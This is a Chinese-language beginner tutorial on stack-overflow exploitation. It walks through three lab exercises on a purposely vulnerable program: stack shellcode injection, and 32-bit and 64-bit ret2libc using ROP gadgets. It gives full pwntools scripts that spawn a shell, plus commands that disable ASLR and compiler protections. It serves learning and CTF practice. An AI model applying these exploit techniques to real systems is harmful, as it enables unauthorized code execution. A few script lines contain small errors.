写在前面:本文旨在帮助刚接触pwn题的小伙伴少走一些弯路,快速上手pwn题,内容较为基础,大佬轻喷。本文默认读者明白最基础的汇编指令的含义,并且已经配置好linux64位环境,明白基础的Linux指令。

栈,栈帧与函数调用

我们知道,在数据结构中,栈是一种先进后出的数据结构。而在操作系统中,一般使用栈保存函数的状态和函数中的局部变量。

Linux中的栈位于程序内存空间的末端,从高地址向低地址生长

栈帧是当一个函数被调用时,所拥有的独立的存放函数状态和所使用的变量的栈空间,每个函数都对应有一个栈帧,同一个函数多次调用,每次可能分配到不同的栈帧。

一个运行中的函数,其栈帧区域被栈基址寄存器(bp)和栈顶寄存器(sp)所限定。

以上为调用一个子函数时,子函数的栈帧结构图(32位),64位基本也是如此,但是有一些细微的不同,之后会提到。

在32位系统中,一个函数被调用时,会经过以下过程:

  1. 保存函数实参
  2. 保存子函数结束后的返回地址
  3. 保存父函数栈帧信息
  4. 在栈上开辟空间供局部变量使用
  5. 实现函数自身功能
  6. 释放函数用到的局部变量空间
  7. 根据保存的父函数信息,恢复父函数栈帧
  8. 由保存的返回地址,恢复父函数执行流

保存函数实参

func(a,b,c),对应的汇编指令是:

  1. push c
  2. push b
  3. push a

对参数从右向左进行压栈

保存子函数结束后返回地址

此时的汇编指令显示为call func指令,在功能上等价于:

  1. push 当前call指令下一条指令的地址
  2. jmp func

其中,push指令将当前call指令的下一条指令的地址保存进栈中,这样,当子函数执行结束后,将可以方便地根据其中保存的地址恢复原有程序的执行流。

而jmp指令则是跳转到对应函数的地址。

保存父函数栈帧信息

进入func函数内部,此时esp和ebp仍然保存的是父函数栈帧。

由于子函数中栈空间完全释放后,esp会回到函数调用前状态,因此只需要保存ebp信息即可,将父函数ebp入栈。

  1. push ebp

随后修改子函数的栈底为当前的esp处

  1. mov ebp,esp

为子函数分配栈空间

  1. sub esp,20h

以上为子函数分配32字节大小的空间。需要注意栈的增长方向是由高地址向低地址,因此此处做减法

子函数执行完成后回收栈空间

  1. add esp,20h

恢复父函数栈帧

此时esp恢复到刚压入父函数ebp后的状态,可以恢复父函数的ebp,从而恢复栈帧

  1. pop ebp

恢复程序执行流

最后,当前栈顶为返回地址,父函数栈信息已经恢复,根据栈中储存的返回地址修改程序执行流即可。对应的汇编语句是:

  1. retn

以上即为32位主机中函数栈帧从创建到销毁的全过程。

而在大多数64位主机遵循的传参规定中,参数需要通过寄存器进行传递,只有当参数多于6个时,多出来的部分才会通过寄存器进行传递。寄存器与参数的对应关系如下:

Register Argument
rdi First Argument
rsi Second
rdx third
rcx fourth
r8 fifth
r9 sixth

小试身手

有了以上的理论学习,可以通过以下三道简单的pwn题,由浅入深地理解pwn中栈溢出的利用。

源程序rop1.c

  1. #include<stdio.h>
  2. #include<unistd.h>
  3. void vuln()
  4. {
  5. char buf[128];
  6. read(0,buf,256);
  7. }
  8. int main()
  9. {
  10. vuln();
  11. write(1,"hello rop\n",10);
  12. }

通过分析源码,我们知道以上程序存在着明显的栈溢出漏洞,其接收一个大小为128位的数组,却允许读入256个字节。

所谓的栈溢出,即为:用户的输入超过了预先分配好的栈空间,导致一部分数据发生泄漏,覆盖掉了其他数据,譬如关键变量,返回地址等。通过栈溢出漏洞,我们可以修改程序执行流。

以上为栈溢出示意图,用户的输入大于12个字节,从低地址到高地址依次覆盖掉了Char* bar,保存的父函数栈基址,返回地址,并将返回地址写为一个特定的值。

常见的与栈溢出漏洞相关的函数被称为危险函数,常见的危险函数包括:

gets(),scanf(),sprintf(),strcpy(),strcat(),read()等,当遇到这些函数时,可以考虑利用栈溢出。

在我们的调试中,需要用到一个python库pwntools,通过撰写脚本,利用pwntools,可以极大地简化pwn流程。

  1. python创建并激活虚拟环境(推荐)
  1. python -m venv .venv
  2. source .venv/bin/activate
  1. 安装pwntools
  1. pip install pwntools
  1. 测试是否安装成功
  1. python
  2. from pwn import *

若不报错,则完成安装

第一题-栈上执行shellcode实现程序流劫持

在以下三题中,我们的目的都是拿到系统的shell。实验环境为Ubuntu 24.10

在第一题中,我们的目标是,将我们的shellcode直接写在栈中,并且将函数的返回地址覆写为shellcode的地址,从而实现对shellcode的执行。

其原理图如下:

但是,现代操作系统普遍开启了栈保护,不允许直接执行栈上的shellcode,因此我们在编译时需要先关闭栈保护(以执行shellcode),并关闭内存地址随机化(ASLR)

将文件作为32位文件编译,编译时关闭栈保护

  1. gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack

-m32选项指定为32位文件编译,-fno-stack-protector关闭栈保护,-z execstack允许在栈上执行shellcode

关闭系统内存地址随机化ASLR

  1. su -
  2. echo 2 | tee /proc/sys/kernel/randomize_va_space

利用pwntools提供的checksec工具,我们可以查看文件的保护情况:

  1. checksec rop1

执行所得结果类似下图所示:



简单介绍下其中部分参数的含义:

  • Arch: 程序的架构,此处为i386-32-little,说明该程序是32位的,并以小端存储地址
  • stack-canary: 针对栈溢出的保护机制,在函数开始执行前,在返回地址处写入一个字长的随机数据,在函数返回前校验该值是否改变,若改变则说明发生栈溢出,将程序直接终止。
  • NX: 在现代操作系统中,开启NX保护后,所有可以被修改写入shellcode的内存都不可执行,所有可以被执行的数据都不可以被修改。此处关闭
  • PIE: 让可执行程序的地址进行随机化加载,但是此处不关掉也不会影响做题

有了上述准备工作以后,我们可以开始做题。

通过源码,我们知道发生溢出的数组在vuln数组内部,因此,我们设置断点,并反编译vuln函数

  1. gdb rop1

在gdb处执行

  1. b vuln
  2. r
  3. disass vuln

从汇编代码中,我们得到数组的偏移量,对应[ebp-0x88]中的内容。即为开辟的数组空间的大小,若输入大于该大小,则会发生栈溢出。

通过以上原理图,我们注意到,如果我们希望完成对返回地址的覆盖,除了数组的偏移量以外,我们还需要额外加上一个ebp大小的偏移量,用于覆盖掉父函数栈帧,这样以后,我们才能将返回地址覆盖成我们的地址。

因此,我们构建的输入是这样的:

  1. payload = 0x88*b'a'+0x4*b'b'+return_addr

注意,此处我们传入的字符类型需要为bytes,即以字节流的形式构建payload,否则会出错

返回地址指向一串能够能够调用系统shell的shellcode,我们可以借助pwntools帮助我们生成这一shellcode

  1. shellcode = asm(shellcode.sh())

有了以上的思路以后,我们撰写脚本,此时我们还不能确定shellcode的地址,因此我们先引发程序崩溃再做观察:

  1. from pwn import *
  2. p = process('./rop1')
  3. gdb.attach(p,'b vuln')
  4. shellcode = asm(shellcraft.sh())
  5. shellcode_addr = 0xdeadbeef # 暂且不能确定
  6. payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
  7. p.sendline(payload)
  8. p.interactive() # 进入交互模式

此时程序崩溃,会自动在当前目录下生成一个包含程序崩溃信息的core文件(也可能没有,自行google如何在程序崩溃后生成core文件)

程序崩溃后的栈帧是这样的:

函数执行结束,回收栈帧,esp指向父函数的栈顶,与数组后面填充的shellcode距离为数组大小0x88+两个寄存器的大小0x4*2,即0x90

为了验证我们的猜想,我们用gdb附加core文件,查看rop1文件崩溃时的信息

  1. gdb rop1 core.xxxxxx

在gdb中,查看esp-0x90处地址的内容

  1. x/s $esp-0x90

jhh开头的那串字符即为生成的开启shell的shellcode(可自行验证)

$esp-0x90即为我们需要的shellcode地址。记录该地址,并填入脚本中

完善脚本,成功获取到shell:

  1. from pwn import *
  2. p = process('./rop1')
  3. shellcode = asm(shellcraft.sh())
  4. shellcode_addr = your_addr
  5. payload = shellcode.ljust(0x88,'a')+shellcode.ljust(0x4,'b')+p32(shellcode_addr)
  6. p.sendline(payload)
  7. p.interactive() # 进入交互模式

第二题-利用ret2libc实现程序流劫持(32位)

按照以下参数编译程序:

  1. gcc rop1.c -o rop2 -m32 -fno-stack-protector

第二题在实验1的基础上开启了NX(NO execute)保护,不能直接执行栈上的shellcode。

不能直接运行shellcode,我们能通过别的方式达成目的吗?可以的,一个程序的运行不可避免地要引用外部共享库,一个常用的库是libc库(Standard C Library),其为GNU/Linux提供了一系列关键的函数。若我们能够通过修改程序执行流,执行libc库中提供的函数,即可绕过限制。

如图,我们将子函数原本的返回地址覆写为libc库中函数地址,子函数执行结束后,会跳转到对应函数位置。

通过ldd指令,我们可以查看文件所使用的共享库:

  1. ldd rop2

此处我们选取的libc函数为system函数,参数为/bin/sh,这样可以调起一个终端。而在本例中,system函数执行结束后的返回地址不重要,因为通过执行函数system,我们已经获取了shell。

由于我们在本题中已经关闭了ASLR,因此system函数和/bin/sh字符串在程序开始执行后,在内存中的地址不会发生变化,在开始调试后可以直接使用gdb查找这两个地址:

输出system函数的地址:

  1. p system

通过vmmap,我们在gdb中查看当前内存地址映射,确定当前使用的libc.so在内存中的起始地址和结束地址,并尝试在该地址中寻找/bin/sh字符串

  1. vmmap

其起始地址为0xf7ccb000,终止地址为0xf7ef4000

用find指令查找"/bin/sh"字符在libc库中的位置:

  1. find 0xf7ccb000,0xf7ef4000,"/bin/sh"

结果地址即为所求

明确了目标地址,我们接下来需要确定偏移量,同样反编译vuln函数:

数组大小为0x88,在加上一个ebp大小0x4用于覆盖掉父函数栈帧,得到最终的偏移量0x8c

有了以上准备工作,我们撰写以下脚本,将gdb调试进程附加到脚本上:

  1. from pwn import *
  2. p = process('./rop2')
  3. gdb.attach(p,'b main')
  4. sys_addr= int(input("Find out the address of the system function"),16)
  5. binsh_addr= int(input("Find out the address of the /bin/sh string in libc"),16)
  6. payload = b'a'*0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr) # system函数的返回地址不重要
  7. p.sendline(payload)
  8. p.interactive() # 开启交互模式

将获取的地址填入其中,即可拿到shell

第三题-ret2libc(64位)

按照以下参数编译程序

  1. gcc rop1.c -o rop3 -m64 -fno-stack-protector

复习一下,64位的libc利用与32位的不同,由于参数调用约定方式的改变,64位程序在进行函数传参时,将会将参数通过特定的寄存器传递,只有当参数的数量多于6个时,多余的参数才会通过栈进行传递。

参数与寄存器的对应关系:

  1. rdi
  2. rsi
  3. rdx
  4. rcx
  5. r8
  6. r9

而要想通过寄存器传参,我们需要找到一些特定的小代码片段(gadget),通过这些片段,我们将参数从栈弹出到寄存器中,再通过寄存器进行传参。在本例中,我们需要传递的参数只有/bin/sh一个。我们可以寻找类似pop rdi; ret这样的gadget

原理图如下所示:

首先我们需要查看rop3使用的共享库:

  1. ldd rop3

可以看到,其中用到了libc.so.6库,正是我们需要的libc。

利用pwntools提供的ROPgadget工具,从对应库中找出我们需要的gadget

  1. ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi

将显示匹配的结果及其相对于文件首地址的偏移量

  1. 0x000000000002a44e : pop rdi ; pop rbp ; ret
  2. 0x000000000002a255 : pop rdi ; ret
  3. 0x0000000000129b4d : pop rdi ; ret 0xfff2
  4. 0x00000000000f4d6d : pop rdi ; ret 0xffff

参数地址和系统函数地址的获取方式和32位的获取方式相同,此处不在赘述。

关于偏移量的计算,需要注意,64位的偏移量与32位的不尽相同,需要重新计算,反编译vuln函数:

此处,数组偏移量为0x80,为了覆盖返回地址,还需要加上一个rbp大小,即0x8,故总偏移量为0x88

有了以上信息,可以开始写脚本:

  1. from pwn import *
  2. p = process('./rop3')
  3. gdb.attach(p,'b main')
  4. sys_addr=int(input("Input the address of the system function: ),16)
  5. binsh_addr=int(input("Input the address of the string /bin/sh: ),16)
  6. pr_addr =int(input("Input the address of the gadget: "),16)
  7. payload = b'a' * 0x80+b'b'*0x8+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
  8. p.sendline(payload)
  9. p.interactive()

执行脚本。此时可能执行失败(如果你的system函数的地址不以0结尾)。此处涉及到一个细节,即:64位操作系统中的主流编译器要求进行栈对齐,即,调用函数的地址需要能够被16整除。

知道了原因以后,我们需要让system函数的调用地址+8或者-8字节,这样才能完成对齐。通常,我们通过插入一条ret的gadget完成操作

在libc.so.6中寻找ret

  1. ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only 'ret' | grep ret

以下修改后的脚本:

  1. from pwn import *
  2. p=process('./rop3')
  3. gdb.attach(p,'b main')
  4. system_addr = int(input("Enter the address of the system function: "),16)
  5. binsh_addr = int(input("Find the address of the '/bin/sh' string in libc.so.6: "),16)
  6. offset1 = 0x000000000011903c
  7. gadget_start_addr = int(input("Enter the start address of libc.so.6: "),16)
  8. gadget_addr = gadget_start_addr+offset1
  9. offset2 = 0x0000000000028a93
  10. ret_addr = gadget_start_addr+offset2
  11. payload = b'a'*0x80 + b'b'*0x8 + p64(gadget_addr)+p64(ret_addr)+p64(binsh_addr)+p64(system_addr)+p64(0xdeadbeef)
  12. p.sendline(payload)
  13. p.interactive()

以上,若有遗漏或错误,恳请各位大佬指出。希望能帮对pwn感兴趣的小伙伴少走弯路!

Re:从零开始的pwn学习(栈溢出篇)的更多相关文章

  1. PWN学习之栈溢出

    目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...

  2. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  3. PWN学习之整数溢出

    目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...

  4. [Django]模型学习记录篇--基础

    模型学习记录篇,仅仅自己学习时做的记录!!! 实现模型变更的三个步骤: 修改你的模型(在models.py文件中). 运行python manage.py makemigrations ,为这些修改创 ...

  5. JDK源码学习--String篇(二) 关于String采用final修饰的思考

    JDK源码学习String篇中,有一处错误,String类用final[不能被改变的]修饰,而我却写成静态的,感谢CTO-淼淼的指正. 风一样的码农提出的String为何采用final的设计,阅读JD ...

  6. LINQ to XML LINQ学习第一篇

    LINQ to XML LINQ学习第一篇 1.LINQ to XML类 以下的代码演示了如何使用LINQ to XML来快速创建一个xml: public static void CreateDoc ...

  7. Entity Framework 学习中级篇1—EF支持复杂类型的实现

    本节,将介绍如何手动构造复杂类型(ComplexType)以及复杂类型的简单操作. 通常,复杂类型是指那些由几个简单的类型组合而成的类型.比如:一张Customer表,其中有FristName和Las ...

  8. 从.Net到Java学习第二篇——IDEA and start spring boot

    从.Net到Java学习第一篇——开篇 所谓工欲善其事,必先利其器,做java开发也一样,在比较了目前最流行的几个java IDE(eclipse,myeclipse.IDEA)之后,我果断选择IDE ...

  9. 从.Net到Java学习第一篇——开篇

    以前我常说,公司用什么技术我就学什么.可是对于java,我曾经一度以为“学java是不可能的,这辈子不可能学java的.”结果,一遇到公司转java,我就不得不跑路了,于是乎,回头一看N家公司交过社保 ...

  10. Sublime text 入门学习资源篇及其基本使用方法

    Sublime text 学习资源篇 史上最性感的编辑器-sublimetext,插件, 学习资源 官网 http://www.sublimetext.com/ 插件 https://packagec ...

随机推荐

  1. 强化学习中子进程调用atari游戏是否受父进程中设置的随机种子影响

    相关: python中numpy.random.seed设置随机种子是否影响子进程 ============================================ 代码: from ale_ ...

  2. Codeforces Round 964 (Div. 4)

    Codeforces Round 964 (Div. 4) A送分 B 大意:两个人两张牌 随机翻 求a翻出来的牌比b大的可能 #include <cstdio> #include < ...

  3. RabbitMq高级特性之消费端限流 通俗易懂 超详细 【内含案例】

    RabbitMq高级特性之消费端限流 介绍 消息队列中囤积了大量的消息, 或者某些时刻生产的消息远远大于消费者处理能力的时候, 这个时候如果消费者一次取出大量的消息, 但是客户端又无法处理, 就会出现 ...

  4. mysql读写分离之springboot集成

    springboot.mysql实现读写分离 1.首先在springcloud config中配置读写数据库 mysql: datasource: readSize: 1 #读库个数 type: co ...

  5. vba for excel 随笔

    q1: excel 没有vba入口 1. 快捷键:Alt + F11 2.调出开发工具 1. 打开文件后,依次点击菜单项[文件]-[选项]: 2.在"Excel"选项界面中点击左侧 ...

  6. Linux嵌入式所有知识点-思维导图-【一口君吐血奉献】

    一.前言 很多粉丝问我,我的Linux和嵌入式当初是如何学习的? 其实彭老师在最初学习的过程中,走了相当多的弯路: 有些可以不学的花了太多的时间去啃 有些作为基础必须优先学习的,却忽略了, 结果工作中 ...

  7. Html 使用scss爆红

      使用     <style  lang="less" scoped> </style>   即可      

  8. SpringMVC:文件上传和下载

    文件下载 ResponseEntity用于控制器方法的返回值类型,该控制器方法的返回值就是响应到浏览器的响应报文 使用ResponseEntity实现下载文件的功能 @RequestMapping(& ...

  9. 千牛hook 旺旺hook,旺旺发消息call,千牛发消息call,千牛机器人,破解旺旺发消息代码,破解千牛发消息代码,反汇编旺旺发消息,反汇编千牛发消息,旺旺发消息组件,千牛发消息组件

    由于工作需要,做了相关的编码,有demo,拿去后,直接按demo写代码即可实现千牛发消息,非常稳定.非反汇编找call,基本不怕千牛升级,原理是基于千牛架构做出来的,除非千牛改架构,已稳定使用2年,未 ...

  10. 基于GitLab+Jenkin-CICD方案实践

    前言 笔录于2022- 官网:https://about.gitlab.com/ 参考文档:https://docs.gitlab.com/ee/ci/ 清华源:清华大学开源软件镜像站 | Tsing ...